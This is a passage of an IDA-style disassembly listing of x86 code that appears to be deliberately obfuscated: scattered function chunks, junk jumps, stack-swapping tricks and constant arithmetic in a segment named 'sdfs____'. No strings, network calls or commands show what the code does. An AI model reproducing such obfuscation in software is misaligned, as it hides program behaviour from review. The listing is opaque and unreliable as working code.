; FUNCTION CHUNK AT 0059ACD9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059AD98 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B165 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059B316 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 0059B660 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059BAE5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059BBB0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059CAD2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059D237 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059D3FB SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059D84F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059D87B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059E199 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059EAD9 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0059F045 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059F094 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059F206 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059FAA7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059FC77 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A1304 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A139A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A24E7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A2531 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A28DD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A293F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2FCE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A383E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A5EDE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A6085 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A61B7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A62AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A691E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A72E5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A732D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A767E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A893C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A8E55 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A91C6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A99B5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AC833 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005ACA85 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005ACF3A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AD26A SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005AD94F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005ADF1C SIZE 00000025 BYTES

		push	ebx
		jmp	loc_5A91C6
sub_5A2E28	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A60F3


loc_5A2E2E:				; CODE XREF: sub_5A60F3+Dj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5A596F
; END OF FUNCTION CHUNK	FOR sub_5A60F3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A2E41	proc near		; CODE XREF: sub_5A9EB4-AA27j

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00599BA8 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0059A36D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059BA9D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059BED0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059C725 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059DD1D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059E50D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059E8AE SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059EA40 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059EB19 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F579 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A0B58 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A1D23 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A204C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A209B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A341F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A3B08 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3C37 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A478F SIZE 00000040 BYTES
; FUNCTION CHUNK AT 005A5098 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A5141 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A5FBC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A659F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A74D6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A7754 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A7E77 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A8675 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A94A7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AA7DF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AB685 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AC310 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AC9E5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AD034 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AE260 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005AF88C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AFB59 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AFBC6 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005B0011 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005B0124 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005B030D SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ebp
		mov	ebp, 623D4B76h
		xor	[edx+38h], ebp
		pop	ebp
		push	34DBh
		mov	[esp+0], ecx
		mov	ecx, 4E24247h
		sub	[edx+38h], ecx
		mov	ecx, [esp+0]
		add	esp, 4
		xor	dword ptr [edx+38h], 2C4C39DAh


loc_5A2E82:				; CODE XREF: sub_5A2E28-434Aj
		sub	esp, 4
		mov	[esp+0], ebx
		push	17677DAAh
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	ebx
		add	esp, 4
		push	270Fh
		mov	[esp+8+var_8], ebp
		sub	esp, 4
		jmp	loc_5A3C37
sub_5A2E41	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A2EA7:				; CODE XREF: sub_5B01F7-491Fj
		add	edx, 69935E05h
		xor	edx, 9193F620h
		jmp	loc_59EF23
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A2EB8:				; CODE XREF: sub_5A0FFF+9F63j
		pop	esp
		jmp	loc_5A24F5
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------


loc_5A2EBE:				; CODE XREF: sdfs____:005A63B7j
		push	edi
		push	418125B5h
		pop	edi
		xor	edi, 0F41B89h
		jmp	loc_5A0D98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A2ED0:				; CODE XREF: sub_5AA2D1-E406j
		add	eax, 0F1F511Eh
		sub	eax, ecx
		sub	eax, 0F1F511Eh
		push	edi
		mov	edi, 51C4561Dh
		add	edi, 71DF512Eh
		jmp	loc_5AD55D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A2EED:				; CODE XREF: sub_5992DA+60A5j
		sub	ecx, 0E344CF1h
		and	ecx, 1EFE3C45h
		jnp	loc_59A1F4
		shr	ecx, 8
		jnz	loc_5A78D0
		and	al, 0ABh


loc_5A2F0A:				; CODE XREF: sub_5A8215+7A14j
		sub	edx, 0CE3179F2h
		xor	esi, edx
		pop	edx
		neg	esi
		jmp	loc_5A7F27
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A2F1A:				; CODE XREF: sub_5AA2D1-33B1j
		pop	ebp
		sub	ebx, 0F4983E92h
		sub	ebp, ebx
		pop	ebx
		push	7B2h
		mov	[esp-8+arg_4], ebp
		jmp	loc_5AC181
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A35F6


loc_5A2F31:				; CODE XREF: sub_5A35F6+B389j
		mov	[esp+0], edx
		mov	edx, esp
		jmp	sub_5A3CF9
; END OF FUNCTION CHUNK	FOR sub_5A35F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A2F3B:				; CODE XREF: sub_5B01F7-C09Fj
		pop	eax
		sub	esp, 4
		jmp	loc_5A4FBC
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A2F44:				; CODE XREF: sub_5992DA+8C9j
		mov	edx, edi
		mov	edi, [esp+14h+var_14]
		jmp	loc_5A1600
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5A2F4E:				; CODE XREF: sub_5A9EBF-29EEj
		push	395Fh
		jmp	loc_5B003D
; END OF FUNCTION CHUNK	FOR sub_5A9EBF

; =============== S U B	R O U T	I N E =======================================



sub_5A2F58	proc near		; DATA XREF: sdfs____:00599054o

var_6		= word ptr -6

; FUNCTION CHUNK AT 0059C633 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0906 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A3780 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A3B9E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A97A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AECF6 SIZE 00000009 BYTES

		lodsb
		push	cx
		mov	ch, 6Bh
		jmp	loc_5A0906
sub_5A2F58	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_5A2F62:				; CODE XREF: sub_59A9E9+41E7j
		dec	ebp
		jmp	loc_5A053F
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_5A2F68:				; CODE XREF: sub_5AD6D4-BD75j
					; sub_5A522E+4C76j
		not	ebx
		push	esi
		push	eax
		mov	eax, 13F54BD5h
		mov	esi, 68C02DC5h
		xor	esi, eax
		pop	eax
		inc	esi
		jmp	loc_59B436
; END OF FUNCTION CHUNK	FOR sub_5A522E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5A2F7F:				; CODE XREF: sub_599A61+9j
		push	edx
		mov	edx, 4751134Dh
		shl	edx, 5
		jp	loc_5A675C
		not	edx
		add	edx, 10A15693h
		mov	edx, edx
		mov	eax, eax


loc_5A2F9A:				; CODE XREF: sub_59CBE1+95B4j
					; sub_5AB622-31Bj
		push	eax
		mov	eax, 61456FF5h
		shl	eax, 7
		jmp	sub_59FE51
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21A4


loc_5A2FA8:				; CODE XREF: sub_5A21A4-85BFj
		pop	ebp
		jmp	loc_5A9A45
; END OF FUNCTION CHUNK	FOR sub_5A21A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A2FAE:				; CODE XREF: sub_5A6BBC+762Dj
		add	esp, 4
		add	eax, 4
		push	6FE0h
		mov	[esp+0], eax
		push	[esp+arg_0]
		jmp	loc_5A6595
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5AD366
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A2FCE:				; CODE XREF: sub_5A2E28-4325j
		inc	edi
		not	edi
		sub	edi, 0F9C0686Eh
		push	ecx
		mov	ecx, 1A1C0C96h
		dec	ecx
		dec	ecx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_59FC77
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A2FE8:				; CODE XREF: sub_5A79BE-B9DCj
		push	ecx
		jmp	loc_5A9582
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A2FEE:				; CODE XREF: sub_5992DA+12483j
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp+10h+var_10]
		pop	esp
		jmp	loc_5A6F0D
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA5F6


loc_5A3006:				; CODE XREF: sub_5AA5F6-1076Fj
		push	ecx
		jmp	loc_5AADB5
; END OF FUNCTION CHUNK	FOR sub_5AA5F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5A300C:				; CODE XREF: sub_5A63DC-8504j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ecx
		mov	ecx, 200000h
		and	eax, ecx
		jmp	loc_5AF26B
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A302B:				; CODE XREF: sub_5AA2D1-36E1j
		mov	edx, 23A3310Fh
		shr	edx, 8
		jmp	loc_5AC3FA
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A3038:				; CODE XREF: sub_59D6B8+DF37j
		push	edx
		jmp	loc_59B91B
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A303E:				; CODE XREF: sub_59C979+250Dj
		add	esp, 4
		push	edx
		mov	dh, 0B5h
		shl	dh, 4
		jmp	loc_5AD601
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------


loc_5A304F:				; CODE XREF: sdfs____:005AC65Ej
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5AFA9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A305D:				; CODE XREF: sub_5AA2D1-964Bj
		add	ebx, 126C005Eh
		jmp	loc_5ACB68
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_5A3068:				; CODE XREF: sub_59FC02+7FC2j
		sub	eax, 719C38D2h
		pop	ebx
		jmp	loc_5AC5AC
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3073:				; CODE XREF: sub_5AA2D1-4B7Fj
		push	[esp+arg_0]
		mov	edx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5AAFD7
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A3085:				; CODE XREF: sdfs____:005A30CDj
		push	2506h
		mov	[esp], eax
		push	634010ADh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59E591
; ---------------------------------------------------------------------------


loc_5A309D:				; CODE XREF: sdfs____:005A5878j
		pop	eax
		add	esp, 4
		push	7365h
		mov	[esp], ecx
		jmp	loc_5A179E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A30B1:				; CODE XREF: sub_59CBE1-1586j
		mov	eax, 49446F9Fh
		or	eax, 3CF03FC8h
		jmp	loc_5A1270
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A3085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFD37


loc_5A30D2:				; CODE XREF: sub_5AFD37-B6E9j
		jnb	loc_5ABA61
		jmp	loc_5A93DE
; END OF FUNCTION CHUNK	FOR sub_5AFD37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B3C9


loc_5A30DD:				; CODE XREF: sub_59B3C9+7CFj
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59B3C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A30E2:				; CODE XREF: sub_5992DA+1554j
		not	eax
		not	eax
		jmp	loc_599459
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A54BA


loc_5A30EB:				; CODE XREF: sub_5A54BA-2A6j
		pop	ebp
		inc	ebx
		jmp	loc_59B794
; END OF FUNCTION CHUNK	FOR sub_5A54BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5A30F2:				; CODE XREF: sub_5AA810-84A0j
		add	esp, 4
		pop	edx
		jmp	loc_59D559
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A30FE:				; CODE XREF: sub_5A118F+AB6j
		add	ebx, 4ECC9DC7h
		push	ebx
		pop	ecx
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_59B757
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FE51


loc_5A3114:				; CODE XREF: sub_59FE51-6401j
		xchg	edi, [esp+0]
		jmp	loc_5A9F27
; END OF FUNCTION CHUNK	FOR sub_59FE51

; =============== S U B	R O U T	I N E =======================================



sub_5A311C	proc near		; CODE XREF: sub_5A7BEB+6570j
					; DATA XREF: sdfs____:00599090o

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A26C1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A9DEF SIZE 0000002F BYTES

		push	dword ptr [esp+0]
		mov	ecx, [esp+4+var_4]
		jmp	loc_5A9DEF
sub_5A311C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3127:				; CODE XREF: sub_5AA2D1+4C7Ej
		push	1365h
		mov	[esp+4+var_4], ecx
		jmp	loc_5AB6E3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BEB


loc_5A3134:				; CODE XREF: sub_5A7BEB+4j
		push	ecx
		push	ebx
		push	ecx
		mov	cl, 0BBh
		neg	cl
		neg	cl
		jz	loc_5AE14D
		add	cl, 92h
		add	cl, 12h
		ja	sub_59FB1A
		push	bx
		jmp	loc_5A6D72
; END OF FUNCTION CHUNK	FOR sub_5A7BEB
; ---------------------------------------------------------------------------
		push	1DFF7018h
		pop	edx
		not	edx
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A315E:				; CODE XREF: sub_5AA2D1-EB1Ej
		mov	ch, 9Ah
		jmp	loc_5AEBB9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A516


loc_5A3165:				; CODE XREF: sub_59A516+ACCj
		mov	eax, [esp+8+var_8]
		jmp	sub_5A8CA3
; END OF FUNCTION CHUNK	FOR sub_59A516
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BA35


loc_5A316D:				; CODE XREF: sub_59BA35+E733j
		push	ecx
		jmp	loc_59E358
; END OF FUNCTION CHUNK	FOR sub_59BA35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3173:				; CODE XREF: sub_5AA2D1-9D3Dj
		add	eax, edx
		jmp	loc_5ACFA3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A317A	proc near		; CODE XREF: sub_5AA2D1-B6A1j
					; sub_5A2E41:loc_5AA7DFj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059BF7D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059FCD2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AB7A1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005ACAB8 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005AECA8 SIZE 0000002A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		push	ebx
		mov	ebx, 4
		add	[esp+8+var_4], ebx
		pop	ebx
		pop	[esp+4+var_4]
		add	dword ptr [esp+0], 4
		push	dword ptr [esp+0]
		jmp	loc_5AB7A1
sub_5A317A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A319D:				; CODE XREF: sub_5A118F+33B9j
		shl	bh, 7
		add	bh, 0C3h
		or	dh, bh
		jmp	loc_59AC4F
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A31AA:				; CODE XREF: sub_5AA2D1-2635j
		pop	ecx
		sub	esi, ebp
		sub	esi, 3CA277EDh
		pop	ebp
		push	5457h
		mov	[esp+0], ebx
		mov	ebx, 763A271Ch
		shr	ebx, 8
		add	ebx, 33553BA0h
		js	loc_5A45B0
		shl	ebx, 7
		jnp	loc_5AB36D
		not	ebx
		jmp	sub_59FC02
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		add	esp, 4
		add	edx, ebx
		push	ebx
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A31E6:				; CODE XREF: sub_59C979+9A5Ej
		add	esp, 4
		push	edi
		sub	esp, 4
		jmp	loc_59E4D3
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5A31F5:				; CODE XREF: sub_599A61+9C33j
		pop	esi
		sub	eax, 1
		push	ebx
		mov	ebx, 153F2271h
		add	ebx, 29160A9h
		jmp	loc_5ADFE0
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A320C:				; CODE XREF: sub_5992DA+1326Dj
		push	edi
		mov	edi, 5AAF3590h
		mov	ebp, 772802DEh
		xor	ebp, edi
		pop	edi
		xor	ebx, ebp
		pop	ebp
		jmp	loc_59A781
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3222:				; CODE XREF: sub_5AA2D1-BC81j
		pop	ebp
		not	ebp
		add	ebp, 178D30E5h
		jmp	loc_5AF4D1
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FE51


loc_5A3230:				; CODE XREF: sub_59FE51+Bj
		pop	eax
		add	edi, 93E227Bh
		add	edi, esi
		sub	edi, 93E227Bh
		jmp	loc_599A46
; END OF FUNCTION CHUNK	FOR sub_59FE51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5A3244:				; CODE XREF: sub_5AC803-B630j
					; sub_59AD5D+9102j
		mov	dl, ah
		jmp	loc_599DAB
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A324B:				; CODE XREF: sub_5992DA+EAECj
		dec	edx
		jmp	loc_59C1F7
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3251:				; CODE XREF: sub_5AA2D1-7CC7j
		add	esp, 4
		sub	cl, 0D2h
		add	cl, dl
		jmp	loc_5AB0AD
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A3261	proc near		; DATA XREF: sdfs____:00598E54o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599F95 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059CAB5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059CE45 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E2C3 SIZE 00000017 BYTES

		mov	cx, [esp+0]
		push	4043h
		mov	[esp+4+var_4], ecx
		push	esp
		jmp	loc_59CE45
sub_5A3261	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3273:				; CODE XREF: sub_5AA2D1+33Ej
		add	esp, 4
		dec	bl
		xchg	al, bl
		jmp	loc_5ACA13
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_5A3282:				; CODE XREF: sub_59F4D2+8DF7j
		sub	ebp, 28090208h
		jp	loc_5A22F9
		neg	ebp
		jbe	loc_5A0C2A
		add	ebp, 77D012B9h
		push	esp
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A329D:				; CODE XREF: sub_59CBE1+39C1j
		mov	ecx, 1EEA0D9Eh
		mov	esi, 1F0E01B4h
		jmp	loc_59CA61
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CE13


loc_5A32AC:				; CODE XREF: sub_59CE13+5E3j
		mov	eax, 68E43CC5h
		not	eax
		inc	eax
		add	eax, 0E63FA524h
		jmp	loc_5A080C
; END OF FUNCTION CHUNK	FOR sub_59CE13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5A32BE:				; CODE XREF: sub_5A77D5+41EAj
		mov	eax, 5EF3DB3h
		add	edx, eax
		jmp	loc_5A5F94
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0924


loc_5A32CA:				; CODE XREF: sub_5A0924+11j
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		push	ebx
		jmp	loc_5A4C6E
; END OF FUNCTION CHUNK	FOR sub_5A0924
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A32D9:				; CODE XREF: sub_5AA2D1-EF32j
		mov	[esp+0], ebp
		mov	ebp, 572A1DCDh
		add	ebp, 52853A1h
		push	ebx
		sub	esp, 4
		mov	[esp+6+var_8+2], edx
		mov	edx, 5CD95F81h
		or	edx, 7E7A0279h
		xor	edx, 390D6CE2h
		neg	edx
		jo	loc_5AC50D
		neg	edx
		jp	loc_5AD716
		shr	edx, 1
		add	edx, 3C5306F3h
		jmp	sub_5A6EE8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		mov	bh, 61h
; START	OF FUNCTION CHUNK FOR sub_5A917C


loc_5A3321:				; CODE XREF: sub_5A917C-9E81j
		pop	esi
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		or	edx, eax
		shl	edx, 1
		push	ecx
		mov	ecx, esp
		push	55C8h
		mov	[esp-4+arg_0], ebx
		sub	esp, 4
		mov	[esp+0], ecx
		push	1A7A565Ah
		jmp	loc_5AE803
; END OF FUNCTION CHUNK	FOR sub_5A917C
; ---------------------------------------------------------------------------


loc_5A3347:				; CODE XREF: sdfs____:005AC538j
		add	esi, 4
		jmp	loc_5AA2BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2E4


loc_5A3352:				; CODE XREF: sub_59B2E4+1412Dj
		mov	ecx, 4
		add	[esp+4], ecx
		mov	ecx, [esp+4+var_4]
		push	ebx
		push	esp
		pop	ebx
		push	1426h
		jmp	loc_5A01D8
; END OF FUNCTION CHUNK	FOR sub_59B2E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1F3


